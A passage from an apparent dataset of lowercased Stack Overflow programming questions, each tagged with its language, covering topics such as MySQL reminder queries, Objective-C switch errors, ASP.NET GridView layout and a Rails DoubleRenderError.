2011-06-02 11:09:18 10   1         10         2011-06-02 11:13:29 11   1         11         2011-06-02 11:21:11 12   1         12         2011-06-02 11:21:35 13   3         5          2011-06-02 11:41:04 14   3         2          2011-06-02 11:46:07 15   1         13         2011-06-02 11:49:18 16   3         13         2011-06-02 11:53:45 17   1         14         2011-06-02 12:02:26 18   3         14         2011-06-02 12:10:54 19   1         15         2011-06-02 13:41:19 20   1         16         2011-06-02 15:27:03 21   3         16         2011-06-02 15:42:58 22   1         17         2011-06-02 15:46:05 23   1         18         2011-06-02 15:59:56 24   1         19         2011-06-02 16:13:41 25   1         20         2011-06-02 16:17:36 26   1         21         2011-06-02 16:47:04 27   1         22         2011-06-02 16:47:39 28   1         23         2011-06-02 18:35:29 29   1         24         2011-06-02 19:17:06 30   1         25         2011-06-02 20:07:33 </code></pre>   <strong>account_metadata</strong>   <pre><code>id       accountid  k              v 27033    2          remindemail    3 27034    3          remindemail    3 27035    4          remindemail    3 27036    5          remindemail    3 27037    6          remindemail    3 27038    7          remindemail    3 27039    8          remindemail    3 27040    9          remindemail    7 27041    10         remindemail    7 27042    11         remindemail    7 27043    12         remindemail    7 27044    13         remindemail    3 27045    14         remindemail    3 27046    15         remindemail    7 27047    16         remindemail    3 27048    17         remindemail    7 27049    18         remindemail    7 </code></pre>   note that:   <ol> <li><code>accounts.id</code> and <code>account_metadata.accountid</code> are unique</li> <li><code>accounts.id = account_metadata.accountid = account_status.accountid</code></li> <li>all three tables are innodb</li> </ol>   the mysql queries i currently have are:   <ol> <li> if statusid in account_status is not 3  then set value of remindemail to 7:   <pre><code>update `account_status` as acs  `accounts` as a  `account_metadata` as am set am.v =  7   where acs.statusid != 3  and acs.accountid = a.id and a.id = am.accountid  and am.k =  remindemail ; </code></pre></li> <li> have sent email reminder depend on the period (30 days => 7  15 days => 3  7 days => 1) before 1 year and <code>status = 3</code>:   <pre><code>select am.accountid  a.email  am.k  am.v  acs.time from accounts a  inner join account_status  acs on a.id = acs.accountid  inner join account_metadata am on a.id = am.accountid where acs.statusid = 3 and am.k =   remindemail  and now() &lt;= date_add(acs.time  interval 365 day) and now() &gt;  date_add(acs.time  interval 365 - ((am.v &amp; 1) * 7 + (am.v &amp; 2) * 8 + (am.v &amp; 4) * 15) day) and am.v = %s; </code></pre></li> <li> update <code>account_metadata.v</code> to new status:   <pre><code>update `account_metadata` as am set am.v =  %s  where am.accountid =  %s  and am.k =  remindemail ; </code></pre></li> </ol>   the problem here is  <code>account_status.accountid</code> is not unique (see the table above where <code>accountid = 13</code>). this will cause #1 reset some rows back to 7 and the customers feel they got spammed. is there any way to modify #2 and/or #1 to pick the latest <code>account_status.statusid</code> (based on <code>account_status.time</code>) or to update by the latest <code>account_status.stautsid</code>,mysql
why doesn t this bit of code work  <pre><code>- (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath {   if ([indexpath section] == 0) {   switch ([indexpath row]) {     case 0:     [self renameexercise];     [[self tableview] deselectrowatindexpath:indexpath              animated:yes];     break;     case 1:     editrootnoteviewcontroller *newcontroller = [[editrootnoteviewcontroller alloc] initwithnibname:@ editnoteview                             bundle:nil];     [newcontroller setmodaltransitionstyle:uimodaltransitionstylefliphorizontal];     [newcontroller setdelegate:self];     [self presentmodalviewcontroller:newcontroller           animated:yes];     [newcontroller release];     break; </code></pre>   xcode  expects expression before editrootnoteviewcontroller...but why come  this same bit of code works outside this switch...which is probably some sort of clue  but i haven t the slightest of what.,objective-c
how to get end of month before from yesterday date  i need to get yesterday date and 6 end of month date before from yesterday.. what i do is :   <pre><code>$yesterday_day = date( d ) - 1; $yesterday_month = date( m ); $yesterday_year = date( y ); $yesterday_date = date( m/d/y   mktime(0 0 0 $yesterday_month $yesterday_day $yesterday_year));  $day_before_1 = date( d ) - 1; $month_before_1 = date( m )-1; $year_before_1 = date( y ); $date_before_1 = date( m/t/y   mktime(0 0 0 $month_before_1 $day_before_1 $year_before_1)); </code></pre>   when i <code>echo</code> its fine for yesterday date is always right.. but strange thing happen on end of month before when i try to change my pc date to 31 march 2014(or 30 march). end of month before should be 28 feb 2014 but its show 31 march 2014.. its normal if i choose from 29 march and before..    i suspect its because feb just got 28 days but dont know how to solve this..,php
nested scopes in angularjs  <strong>nested scopes in angularjs</strong>    is it possible create nested scopes that do not inherit properties from their parent scope,angularjs
how do i make a python variable with infinite digits behind comma  im working with a math paradox in python and i need the number variable to be 100% accurate  i want the variable/number to not have a limit to how many digits it is behind the comma. im sorry if my english is bad and thanks for all help :d.   <pre><code>    addition = 0.5     time = 0     lengthwalked = 0     nr = 0     while true:         nr += 1         time += addition         lengthwalked += addition         addition = addition / 2         print( nr:   nr  time:   time  length walked:   lengthwalked) </code></pre>   what this code does is add 0 5 then half of that or 0 25 then 0 125. you get the point. if the variable could hold infinite numbers it would continue forever with adding half the amount and never reach 1 but it only adds numbers 53 times and reaches 1 at 54    if your wondering  yes this is based on zeno´s paradox,python
erase using brush in glpaint  as part of modifying the <code>glpaint</code>  i am trying to add erase functionality where user could select an eraser button and erase the painted area just as painting.     i am trying have a conditional statement within <code> renderlinefrompoint:(cgpoint)start topoint:(cgpoint)end </code> method so that i could check whether the stroke is for painting or erasing.     for erasing i do not know how to make use of the  <code>start</code>  and  <code>end</code>  parameters for erasing. is there any method call in opengl like <code>glclear()</code> that accepts these two parameter and does erase     any pointer will be very helpful. thank you.,iphone
only showing view after second push on iphone  i m having an annoying problem  that may have a simple answer!    i have a viewcontroller (which contains a tableview controller and header view) which i am pushing on to a navigation controller - when i push it on the first time after launching  i get a blank view. when i click the back button to pop it  it appears fine from then on until i re-launch the app.    does anyone know an  obvious  reason why this would happen     btw- following the code in debug  it appears to be doing all the correct things.. loading the viewcontroller variables if nil  etc. before the first view.    thanks!,iphone
how to track scope variable changing in angularjs  all:    i am new to angularjs  current what i want to do is to figure out which line cause the <code>$watch</code> handling function get called.    for a small example:    i set <code>$scope.name =   </code>  and call a function <code>changename()</code>:   <pre><code>function changename(){     $scope.name =  new name ;     ...      $http.get( someurl )          .then(function(data){ $scope.name = data.newname;   }) }  $scope.$watch( name   function(newname  oldname){     handlingfunctionhere(); }); </code></pre>   there is multiple changes to <code>$scope.name</code> which make <code>$scope.$watch</code> trigger  but when i debug in the chrome  i can not tell which action lead to that triggering from call stack  could anyone show me how to debug this     thanks,angularjs
organize code for multiple views – objective-c  i m making an ipad app that starts up with a start menu  which have 5 options (buttons). each of those 5 have a menu and other buttons on it. basically it s a lot of pages (uiviews) and its a lot of code. i have always written everything in the same file. <br><br>my question is if i could have one separate file for each page  and how would i connect them to each other  thanks    <h3>edit:</h3>   i have tried connecting a subclass of uiview with the viewcontroller like this:    subclass of uiview:   <pre><code>@implementation myview - (void)commonmethod:(id)sender {     nslog(@ hej ); } </code></pre>   viewcontroller.h:   <pre><code>#import  myview.m ; </code></pre>   viewcontroller.m:   <pre><code>@implementation viewcontroller - (void)viewdidload {     myview *mv = [[myview alloc] init];     [mv commonmethod:self]; } </code></pre>   im getting this error:   <pre><code>d  /users/tonymichaelsen/library/developer/xcode/deriveddata/3d-shaped_2-   geccnqnxajtjkvblfiasmfippyhx/build/products/debug-iphoneos/3d-shaped 2.app/3d-shaped 2  normal armv7 cd  /users/tonymichaelsen/documents/documents/xcode-projects/3d-shaped 2  setenv iphoneos_deployment_target 6.0 setenv path    /applications/xcode.app/contents/developer/platforms/iphoneos.platform/developer/usr/bin:/applications/xcode.app/contents/developer/usr/bin:/usr/bin:/bin:/usr/sbin:/sbin    /applications/xcode.app/contents/developer/toolchains/xcodedefault.xctoolchain/usr/bin/clang    -arch armv7 -isysroot   /applications/xcode.app/contents/developer/platforms/iphoneos.platform/developer/sdks/iphone os6.1.sdk -l/users/tonymichaelsen/library/developer/xcode/deriveddata/3d-shaped_2- geccnqnxajtjkvblfiasmfippyhx/build/products/debug-iphoneos - f/users/tonymichaelsen/library/developer/xcode/deriveddata/3d-shaped_2-  geccnqnxajtjkvblfiasmfippyhx/build/products/debug-iphoneos -filelist    /users/tonymichaelsen/library/developer/xcode/deriveddata/3d-shaped_2- geccnqnxajtjkvblfiasmfippyhx/build/intermediates/3d-shaped 2.build/debug-iphoneos/3d-shaped    2.build/objects-normal/armv7/3d-shaped 2.linkfilelist  -dead_strip -fobjc-arc -fobjc-link- runtime -miphoneos-version-min=6.0 -framework uikit -framework foundation -framework  coregraphics -o  /users/tonymichaelsen/library/developer/xcode/deriveddata/3d-shaped_2-g   eccnqnxajtjkvblfiasmfippyhx/build/products/debug-iphoneos/3d-shaped 2.app/3d-shaped 2    duplicate symbol _objc_class_$_cube in: /users/tonymichaelsen/library/developer/xcode/deriveddata/3d-shaped_2-  geccnqnxajtjkvblfiasmfippyhx/build/intermediates/3d-shaped 2.build/debug-iphoneos/3d-shaped      .build/objects-normal/armv7/viewcontroller.o /users/tonymichaelsen/library/developer/xcode/deriveddata/3d-shaped_2- geccnqnxajtjkvblfiasmfippyhx/build/intermediates/3d-shaped 2.build/debug-iphoneos/3d-shaped  2.build/objects-normal/armv7/cube.o duplicate symbol _objc_metaclass_$_cube in: /users/tonymichaelsen/library/developer/xcode/deriveddata/3d-shaped_2-   geccnqnxajtjkvblfiasmfippyhx/build/intermediates/3d-shaped 2.build/debug-iphoneos/3d-shaped   2.build/objects-normal/armv7/viewcontroller.o /users/tonymichaelsen/library/developer/xcode/deriveddata/3d-shaped_2-  geccnqnxajtjkvblfiasmfippyhx/build/intermediates/3d-shaped 2.build/debug-iphoneos/3d-shaped   2.build/objects-normal/armv7/cube.o ld: 2 duplicate symbols for architecture armv7 </code></pre>,objective-c
which of the following input element variations will show a numeric keypad in mobile browsers   what is the correct code. any idea.    <pre><code>&lt;input type= text  pattern= [0-9]* /&gt;  &lt;input type= number /&gt;  &lt;input type= text  keyboard= numeric /&gt;  &lt;input type= text  keyboard= number11 /&gt; </code></pre>,html
need help to create store procedure for my mysql query  i want to create dyanmic store procedure for this query. and how to pass multile value in brand during call procedure.i want pass multiple brand  when i call procedure .please help.   <pre><code>select product_name status brand from spec_abc where status= 1  and brand in ( apple   samsung   oppo   lg ) limit 10; </code></pre>,mysql
convert hashmap keys from string to int  i have a hashmap and a properties file that holds key/values.  properties file stores keys/values in this format  4 5=2  i have built a method that loads properties from the file and it puts the pair of  keys/value  into a hashmap array(string  integer). but my problem is that i want each element of keys to be stored as an int  in order to use them as parameters to another method. keys are stored as string. any help would be appreciated. thank you!   <pre><code>public static hashmap&lt;string  integer&gt; hashmap = new hashmap&lt;&gt;();  prop.load(input); enumeration&lt; &gt; e = prop.propertynames();     while (e.hasmoreelements()) {            key = (string) e.nextelement();            intvalue=integer.parseint(prop.getproperty(key));            hashmap.put(key  intvalue); </code></pre>,java
how to limit access to a javascript object   i was watching a video on making a good javascript application infrastructure. basically what it said was:   <ul> <li>your application consists of components</li> <li>components are parts of the page that can act on their own.</li> <li>components can be registered into te application.</li> <li>upon registration  they get their own sandbox.</li> <li>a sandbox is an component s interface to the application core.</li> <li>the core is built on top of a javascript library.</li> <li>components only have access to their sandbox  not to other components  nore the core or the underlying library.</li> </ul>   now  what i d like to make is an application where you can easily make new components. components have their own part on tha page  their own div in which they can work. and here comes the first part of my question: i want to give these components a copy of the jquery object  but that has an internal restriction applied so that it can only work inside a certain containing element.    the second part is that even if a component has limited access to the dom using jquery  it can still access the document. i have tried both setting window and document to null  before running my test script  but the browser doesn t allow this. is there any way that i can truly restrict the possibilities of an object to the methods of 1 object that i pass to it,javascript
fixing header and footer template in scroll able grid view asp .net  i have two grid views which inserts values from  respective database tables which can be selected from drop down list. i have headers which are table s column headings. at the footer i have editable text box to add new row in database table. both of them scrolls as i scroll the grid view. i would want to keep the header and footer intact as the scrolling happens.    i do not want to use paging for the same.   <pre><code>&lt;/table&gt;              &lt;div style = height:450px; width:auto; overflow:auto; &gt;          &lt;asp:gridview id= gridview2  runat= server  autogeneratecolumns= false  showfooter= true  allowpaging= false  pagesize= 20               datakeynames= id              onpageindexchanging= gridview2_pageindexchanging              onrowdeleting= gridview2_rowdeleting              onrowediting= gridview2_rowediting              onrowupdating= gridview2_rowupdating              onrowcancelingedit= gridview2_rowcancelingedit              onrowcommand= gridview2_rowcommand &gt;              &lt;columns&gt;         &lt;asp:boundfield datafield= id  headertext= id  insertvisible= false      readonly= true  sortexpression= id  /&gt;      &lt;asp:templatefield headertext= instance  sortexpression= instance &gt;     &lt;edititemtemplate&gt;     &lt;asp:textbox id= txtinstance  width= 90%  rows= 5  textmode= multiline  wrap= true  runat= server  text= &lt;%# bind( instance ) %&gt; &gt;&lt;/asp:textbox&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;     &lt;asp:textbox id= txtinstance  width= 90%  rows= 3  textmode= multiline  wrap= true  runat= server &gt;&lt;/asp:textbox&gt;     &lt;/footertemplate&gt;     &lt;itemtemplate&gt;     &lt;asp:label id= label1  runat= server  text= &lt;%# bind( instance ) %&gt; &gt;&lt;/asp:label&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;      &lt;asp:templatefield headertext= application  sortexpression= application &gt;     &lt;edititemtemplate&gt;     &lt;asp:textbox id= txtapplication   width= 90%  rows= 5  textmode= multiline  wrap= true  runat= server  text= &lt;%# bind( application ) %&gt; &gt;&lt;/asp:textbox&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;     &lt;asp:textbox id= txtapplication  width= 90%  rows= 3  textmode= multiline  wrap= true  runat= server  &gt;&lt;/asp:textbox&gt;     &lt;/footertemplate&gt;     &lt;itemtemplate&gt;     &lt;asp:label id= label2  runat= server  text= &lt;%# bind( application ) %&gt; &gt;&lt;/asp:label&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;      &lt;asp:templatefield headertext= name  sortexpression= name &gt;     &lt;edititemtemplate&gt;     &lt;asp:textbox id= txtname1   width= 90%  rows= 5  textmode= multiline  wrap= true  runat= server  text= &lt;%# bind( name ) %&gt; &gt;&lt;/asp:textbox&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;     &lt;asp:textbox id= txtname1   width= 90%  rows= 3  textmode= multiline  wrap= true  runat= server  &gt;&lt;/asp:textbox&gt;     &lt;/footertemplate&gt;     &lt;itemtemplate&gt;     &lt;asp:label id= label3  runat= server  text= &lt;%# bind( name ) %&gt; &gt;&lt;/asp:label&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;      &lt;asp:templatefield headertext= description  sortexpression= description &gt;     &lt;edititemtemplate&gt;     &lt;asp:textbox id= txtdescription   width= 90%  rows= 5  textmode= multiline  wrap= true  runat= server  text= &lt;%# bind( description ) %&gt; &gt;&lt;/asp:textbox&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;     &lt;asp:textbox id= txtdescription   width= 90%  rows= 3  textmode= multiline  wrap= true  runat= server  &gt;&lt;/asp:textbox&gt;     &lt;/footertemplate&gt;     &lt;itemtemplate&gt;     &lt;asp:label id= label4  runat= server  text= &lt;%# bind( description ) %&gt; &gt;&lt;/asp:label&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;      &lt;asp:templatefield headertext= priority  sortexpression= priority &gt;     &lt;edititemtemplate&gt;     &lt;asp:textbox id= txtpriority   width= 90%  rows= 5  textmode= multiline  wrap= true  runat= server  text= &lt;%# bind( priority ) %&gt; &gt;&lt;/asp:textbox&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;     &lt;asp:textbox id= txtpriority   width= 90%  rows= 3  textmode= multiline  wrap= true  runat= server  &gt;&lt;/asp:textbox&gt;     &lt;/footertemplate&gt;     &lt;itemtemplate&gt;     &lt;asp:label id= label5  runat= server  text= &lt;%# bind( priority ) %&gt; &gt;&lt;/asp:label&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;      &lt;asp:templatefield headertext= frequency  sortexpression= frequency &gt;     &lt;edititemtemplate&gt;     &lt;asp:textbox id= txtfreq   width= 90%  rows= 5  textmode= multiline  wrap= true  runat= server  text= &lt;%# bind( freq ) %&gt; &gt;&lt;/asp:textbox&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;     &lt;asp:textbox id= txtfreq   width= 90%  rows= 3  textmode= multiline  wrap= true  runat= server  &gt;&lt;/asp:textbox&gt;     &lt;/footertemplate&gt;     &lt;itemtemplate&gt;     &lt;asp:label id= label6  runat= server  text= &lt;%# bind( freq ) %&gt; &gt;&lt;/asp:label&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;      &lt;asp:templatefield headertext= active  sortexpression= active &gt;     &lt;edititemtemplate&gt;     &lt;asp:checkbox id= txtactive   width= 90%  rows= 5  textmode= multiline  wrap= true  runat= server  checked= &lt;%# bind( active ) %&gt; &gt;&lt;/asp:checkbox&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;     &lt;asp:checkbox id= txtactive   width= 90%  rows= 3  textmode= multiline  wrap= true  runat= server  &gt;&lt;/asp:checkbox&gt;     &lt;/footertemplate&gt;     &lt;itemtemplate&gt;     &lt;asp:label id= lblactive  runat= server  text= &lt;%# bind( active ) %&gt; &gt;&lt;/asp:label&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;      &lt;asp:templatefield headertext= monitordetailsid  sortexpression= monitordetailsid &gt;     &lt;edititemtemplate&gt;     &lt;asp:textbox id= txtmonitordetailsid   width= 90%  rows= 5  textmode= multiline  wrap= true  runat= server  text= &lt;%# bind( monitordetailsid ) %&gt; &gt;&lt;/asp:textbox&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;     &lt;asp:textbox id= txtmonitordetailsid   width= 90%  rows= 3  textmode= multiline  wrap= true  runat= server  &gt;&lt;/asp:textbox&gt;     &lt;/footertemplate&gt;     &lt;itemtemplate&gt;     &lt;asp:label id= label8  runat= server  text= &lt;%# bind( monitordetailsid ) %&gt; &gt;&lt;/asp:label&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;                         &lt;asp:templatefield headertext= edit  showheader= false &gt;              &lt;edititemtemplate&gt;             &lt;asp:linkbutton id= linkbutton1  runat= server  causesvalidation= true  commandname= update  text= update  onclientclick= return confirm( are you sure you want to update  ); &gt;&lt;/asp:linkbutton&gt;             &lt;asp:linkbutton id= linkbutton2  runat= server  causesvalidation= false  commandname= cancel  text= cancel  onclientclick= return confirm( are you sure you want to cancel  ); &gt;&lt;/asp:linkbutton&gt;             &lt;/edititemtemplate&gt;              &lt;footertemplate&gt;             &lt;asp:linkbutton id= linkbutton3  runat= server  causesvalidation= false  commandname= addnew  text= add new  onclientclick= return confirm( are you sure you want to add a new record  ); &gt;&lt;/asp:linkbutton&gt;             &lt;/footertemplate&gt;              &lt;itemtemplate&gt;             &lt;asp:linkbutton id= linkbutton4  runat= server  causesvalidation= false  commandname= edit  text= edit &gt;&lt;/asp:linkbutton&gt;             &lt;/itemtemplate&gt;                       &lt;/asp:templatefield&gt;                   &lt;asp:templatefield headertext= delete &gt;                 &lt;itemtemplate&gt;             &lt;asp:linkbutton id= linkbutton5  runat= server  causesvalidation= false   commandname= delete  text= delete   onclientclick= return confirm( are you sure you want to delete this record  ); &gt;&lt;/asp:linkbutton&gt;             &lt;/itemtemplate&gt;                  &lt;/asp:templatefield&gt;                  &lt;/columns&gt;              &lt;pagersettings  mode= nextpreviousfirstlast  firstpagetext= first  previouspagetext= previous  nextpagetext= next  lastpagetext= last  /&gt;         &lt;/asp:gridview&gt;                  &lt;asp:gridview id= gridview3  runat= server  autogeneratecolumns= false  showfooter= true  allowpaging= false  pagesize= 20               datakeynames= id              onpageindexchanging= gridview3_pageindexchanging              onrowdeleting= gridview3_rowdeleting              onrowediting= gridview3_rowediting              onrowupdating= gridview3_rowupdating              onrowcancelingedit= gridview3_rowcancelingedit              onrowcommand= gridview3_rowcommand &gt;              &lt;columns&gt;         &lt;asp:boundfield datafield= id  headertext= id  insertvisible= false      readonly= true  sortexpression= id  /&gt;      &lt;asp:templatefield headertext= name  sortexpression= name &gt;     &lt;edititemtemplate&gt;     &lt;asp:textbox id= txtname  width= 90%  rows= 5  textmode= multiline  wrap= true  runat= server  text= &lt;%# bind( name ) %&gt; &gt;&lt;/asp:textbox&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;     &lt;asp:textbox id= txtname  width= 90%  rows= 3  textmode= multiline  wrap= true  runat= server  &gt;&lt;/asp:textbox&gt;     &lt;/footertemplate&gt;     &lt;itemtemplate&gt;     &lt;asp:label id= label1  runat= server  text= &lt;%# bind( name ) %&gt; &gt;&lt;/asp:label&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;      &lt;asp:templatefield headertext= detail description  sortexpression= detail description &gt;     &lt;edititemtemplate&gt;     &lt;asp:textbox id= txtdetaildesc   width= 90%  rows= 5  textmode= multiline  wrap= true  runat= server  text= &lt;%# bind( detaildesc ) %&gt; &gt;&lt;/asp:textbox&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;     &lt;asp:textbox id= txtdetaildesc  width= 90%  rows= 3  textmode= multiline  wrap= true  runat= server  &gt;&lt;/asp:textbox&gt;     &lt;/footertemplate&gt;     &lt;itemtemplate&gt;     &lt;asp:label id= label2  runat= server  text= &lt;%# bind( detaildesc ) %&gt; &gt;&lt;/asp:label&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;      &lt;asp:templatefield headertext= technical description  sortexpression= technical description &gt;     &lt;edititemtemplate&gt;     &lt;asp:textbox id= txttechnicaldesc   width= 90%  rows= 5  textmode= multiline  wrap= true  runat= server  text= &lt;%# bind( technicaldesc ) %&gt; &gt;&lt;/asp:textbox&gt;     &lt;/edititemtemplate&gt;     &lt;footertemplate&gt;     &lt;asp:textbox id= txttechnicaldesc  width= 90%  rows= 3  textmode= multiline  wrap= true  runat= server  &gt;&lt;/asp:textbox&gt;     &lt;/footertemplate&gt;     &lt;itemtemplate&gt;     &lt;asp:label id= label3  runat= server  text= &lt;%# bind( technicaldesc ) %&gt; &gt;&lt;/asp:label&gt;     &lt;/itemtemplate&gt;     &lt;/asp:templatefield&gt;                &lt;asp:templatefield headertext= edit  showheader= false &gt;              &lt;edititemtemplate&gt;             &lt;asp:linkbutton id= linkbutton7  runat= server  causesvalidation= true  commandname= update  text= update  onclientclick= return confirm( are you sure you want to update  ); &gt;&lt;/asp:linkbutton&gt;             &lt;asp:linkbutton id= linkbutton8  runat= server  causesvalidation= false  commandname= cancel  text= cancel  onclientclick= return confirm( are you sure you want to cancel  ); &gt;&lt;/asp:linkbutton&gt;             &lt;/edititemtemplate&gt;              &lt;footertemplate&gt;             &lt;asp:linkbutton id= linkbutton9  runat= server  causesvalidation= false  commandname= addnew  text= add new  onclientclick= return confirm( are you sure you want to add a new record  ); &gt;&lt;/asp:linkbutton&gt;             &lt;/footertemplate&gt;              &lt;itemtemplate&gt;             &lt;asp:linkbutton id= linkbutton10  runat= server  causesvalidation= false  commandname= edit  text= edit &gt;&lt;/asp:linkbutton&gt;             &lt;/itemtemplate&gt;                       &lt;/asp:templatefield&gt;                   &lt;asp:templatefield headertext= delete &gt;                 &lt;itemtemplate&gt;             &lt;asp:linkbutton id= linkbutton11  runat= server  causesvalidation= false   commandname= delete  text= delete   onclientclick= return confirm( are you sure you want to delete this record  ); &gt;&lt;/asp:linkbutton&gt;             &lt;/itemtemplate&gt;                  &lt;/asp:templatefield&gt;                  &lt;/columns&gt;                &lt;pagersettings  mode= nextpreviousfirstlast  firstpagetext= first  previouspagetext= previous  nextpagetext= next  lastpagetext= last  /&gt;         &lt;/asp:gridview&gt;           &lt;/form&gt;     &lt;/asp:content&gt; </code></pre>,asp.net
how to change background color in a div which inside another div  i have a page with two menu s on it. the first inside a div is general topics.  the second div is for a specific topic.  i want to change the color of the specific top div to a  different background color.  i just can t seem to make it work.    css:   <pre><code>#navigation {   border-top: 2px solid #808080;   border-bottom: 2px solid #808080;   background-color: yellow;   overflow: scroll; }  #navigationcolorgreen {    background-color: greenyellow; } </code></pre>   the html:   <pre><code>&lt;div id= navigation  &gt;   &lt;a href= general-links.htm&gt;general&lt;/a&gt;     &lt;hr class= divider  / &gt;   //* i want to change the background color of this div to green *//   &lt;div id= navigationcolorgreen  &gt;     &lt;a href= specific-links.htm &gt;specifics&lt;/a&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>,css
redirect remotely through controller action without reloading window  i have tried this!    <pre><code>def create   @event = event.new(params[:event])   if @event.save     render js: %(window.location.pathname= #{new_meal_path(@event)} )   else     render  new    end end </code></pre>   and this   <pre><code>def create   @event = event.new(params[:event])   if @event.save     redirect_to new_meal_path(@event)  format:  js    else     render  new    end end </code></pre>   the first instance reloads and redirects the window to the requested path while the second instance tries to redirect remotely but doesnt call the responding js file.could someone please try help me try and redirect to requested action without reloading the window.,ruby-on-rails
how am i getting a doublerendererror   i keep getting the doublerendererror and while i understand that ruby has doublerendererror rule  my understanding is that it does not imply that we cannot have more than one  render  statement in an action. just that in the execution flow of code   render  should not be met more than once  yet that is not happening in my code. can anybody help  here is the code:   <pre><code>class registrationscontroller &lt; milia::registrationscontroller    skip_before_action :authenticate_tenant!  :only =&gt; [:new  :create  :cancel]    # ------------------------------------------------------------------------------   # ------------------------------------------------------------------------------   # todo: options if non-standard path for new signups view   # ------------------------------------------------------------------------------   # create -- intercept the post create action upon new sign-up   # new tenant account is vetted  then created  then proceed with devise create user   # callback: tenant.create_new_tenant  -- prior to completing user account   # callback: tenant.tenant_signup      -- after completing user account   # ------------------------------------------------------------------------------   def create     # have a working copy of the params in case tenant callbacks       # make any changes     tenant_params = sign_up_params_tenant     user_params   = sign_up_params_user     coupon_params = sign_up_params_coupon      sign_out_session!        # next two lines prep signup view parameters     prep_signup_view( tenant_params  user_params  coupon_params )         # validate recaptcha first unless not enabled     if !::milia.use_recaptcha  ||  verify_recaptcha        tenant.transaction  do         @tenant = tenant.create_new_tenant( tenant_params  user_params  coupon_params)         if @tenant.errors.empty    # tenant created           if @tenant.plan ==  premium              @payment = payment.new({ email: user_params[ email ]                token: params[:payment][ token ]                tenant: @tenant })             flash[:error] =  please check registration errors  unless @payment.valid               begin               @payment.process_payment               @payment.save             rescue exception =&gt; e               flash[:error] = e.message               @tenant.destroy               log_action( payment failed )               render :new and return             end           end         else           resource.valid            log_action(  tenant create failed   @tenant )           render :new         end # if .. then .. else no tenant errors          if flash[:error].blank  || flash[:error].empty  #payment successful           initiate_tenant( @tenant )    # first time stuff for new tenant            devise_create( user_params )   # devise resource(user) creation; sets resource            if resource.errors.empty    #  success!              log_action(  signup user/tenant success   resource )               # do any needed tenant initial setup             tenant.tenant_signup(resource  @tenant  coupon_params)            else  # user creation failed; force tenant rollback             log_action(  signup user create failed   resource )             raise activerecord::rollback   # force the tenant transaction to be rolled back           end  # if..then..else for valid user creation         else           resource.valid            log_action( payment processing failed   @tenant )           render :new and return         end # if.. then .. else no tenant errors       end  #  wrap tenant/user creation in a transaction     else       flash[:error] =  recaptcha codes didn t match; please try again           # all validation errors are passed when the sign_up form is re-rendered       resource.valid        @tenant.valid        log_action(  recaptcha failed   resource )       render :new     end   end   # def create    # ------------------------------------------------------------------------------   # ------------------------------------------------------------------------------    protected   # ------------------------------------------------------------------------------   # ------------------------------------------------------------------------------   def configure_permitted_parameters     devise_parameter_sanitizer.for(:sign_up) + ::milia.whitelist_user_params   end    # ------------------------------------------------------------------------------   # ------------------------------------------------------------------------------     def sign_up_params_tenant()       params.require(:tenant).permit( ::milia.whitelist_tenant_params )     end    # ------------------------------------------------------------------------------   # ------------------------------------------------------------------------------     def sign_up_params_user()       params.require(:user).permit( ::milia.whitelist_user_params )     end    # ------------------------------------------------------------------------------   # sign_up_params_coupon -- permit coupon parameter if used; else params   # ------------------------------------------------------------------------------     def sign_up_params_coupon()       ( ::milia.use_coupon           params.require(:coupon).permit( ::milia.whitelist_coupon_params )  :         params       )     end    # ------------------------------------------------------------------------------   # sign_out_session! -- force the devise session signout   # ------------------------------------------------------------------------------     def sign_out_session!()       devise.sign_out_all_scopes   sign_out : sign_out(resource_name) if user_signed_in      end    # ------------------------------------------------------------------------------   # devise_create -- duplicate of devise::registrationscontroller     # same as in devise gem except need to prep signup form variables   # ------------------------------------------------------------------------------     def devise_create( user_params )        build_resource(user_params)          # if we re using milia s invite_member helpers       if ::milia.use_invite_member           # then flag for our confirmable that we won t need to set up a password         resource.skip_confirm_change_password  = true       end        if resource.save         yield resource if block_given          log_action(  devise: signup user success   resource )         if resource.active_for_authentication            set_flash_message :notice  :signed_up if is_flashing_format            sign_up(resource_name  resource)           respond_with resource  :location =&gt; after_sign_up_path_for(resource)         else           set_flash_message :notice  : signed_up_but_#{resource.inactive_message}  if is_flashing_format            expire_data_after_sign_in!           respond_with resource  :location =&gt; after_inactive_sign_up_path_for(resource)         end       else         clean_up_passwords resource         log_action(  devise: signup user failure   resource )         prep_signup_view(  @tenant  resource  params[:coupon] )         respond_with resource       end     end    # ------------------------------------------------------------------------------   # ------------------------------------------------------------------------------   def after_sign_up_path_for(resource)     headers[ refresh ] =  0;url=#{root_path}      root_path   end    # ------------------------------------------------------------------------------   # ------------------------------------------------------------------------------   def after_inactive_sign_up_path_for(resource)     headers[ refresh ] =  0;url=#{root_path}      root_path   end   # ------------------------------------------------------------------------------   # ------------------------------------------------------------------------------    def log_action( action  resource=nil )     err_msg = ( resource.nil       : resource.errors.full_messages.uniq.join(    ) )     logger.debug(        milia &gt;&gt;&gt;&gt;&gt; [register user/org] #{action} - #{err_msg}      ) unless logger.nil    end    # ------------------------------------------------------------------------------   # ------------------------------------------------------------------------------    # ------------------------------------------------------------------------------   # ------------------------------------------------------------------------------  end   # class registrations 